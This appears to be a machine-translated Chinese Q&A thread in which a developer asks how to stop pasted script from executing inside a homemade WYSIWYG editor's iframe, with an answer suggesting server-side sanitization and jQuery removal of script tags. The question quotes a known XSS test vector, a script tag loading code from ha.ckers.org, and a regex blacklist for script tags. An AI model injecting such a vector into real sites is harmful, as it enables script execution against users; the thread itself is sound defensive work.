2013-09-24 92 views
0

我已經從頭開始構建了一個內置編輯器。我正在嘗試XSS漏洞。Javascript執行復制粘貼iframe

<iframe id="wysiwygtextfield" onload="return initialize(this);" frameborder="0" scrolling="no" > 
       <html> 
         <head> 
         </head> 
       <body spellcheck = "true"> 
         <br/> 
       </body> 
       </html> 
<iframe> 

我試圖複製粘貼下面的載體:

<SCRIPT SRC=//ha.ckers.org/.j> 

它執行中被描述的iframe中。我有複製粘貼事件是這樣的事件觸發:

$('#wysiwygtextfield').contents().find('body').bind("paste", function(e) { 

     var element = this; 
     setTimeout(function(){ 
     var text = $(element).text() ; 
     /* var pattern = /<script(\s+(\w+\s*=\s*("|').*?\3)\s*)*\s*(\/>|>.*?<\/script\s*>)/; 

     text = text.toLowerCase().replace(pattern,"Dirty paste") ; */ 
    $('#wysiwygtextfield').contents().find('img').each(
                function() 
           { text += "<br/><br/>"+ $(this).get(0).outerHTML ; } 
); 

     $(element).html(text) ; },10); 

    }); 

我使用正則表達式匹配來對付它嘗試過,但它不是有效的(更多的是黑名單)。我嘗試了一些其他的文本編輯器(ckeditor和tinymce),他們只是複製粘貼文本而沒有執行javascript。有沒有其他方法可以安全地複製粘貼JavaScript而不執行?我在服務器端有一個消毒劑來刪除標記。

回答

0

您應該驗證服務器端的內容。對於HTML正則表達式也不是一個好習慣。您可以使用HTMLAgilityPack庫,它爲serer端的HTML解析提供了非常好的功能。

如果你仍然想要做客戶端的東西,你可以做到這一點,如下

$('#wysiwygtextfield').contents().find('body').bind("paste", function(e) { 

     var element = this; 
     setTimeout(function(){ 
     $(element).find("script").remove();  //this would remove all script tags from html 

//or you can replace the script tag with something else 
$(element).find("script").replaceWith("<div>Dirty Paste</div>"); 


     $('#wysiwygtextfield').contents().find('img').each(
                function() 
           { text += "<br/><br/>"+ $(this).get(0).outerHTML ; } 
); 

     $(element).html(text) ; },10); 

    }); 
+0

我終於清除它在服務器端。但是如果腳本在客戶端執行,則會害怕任何攻擊。 –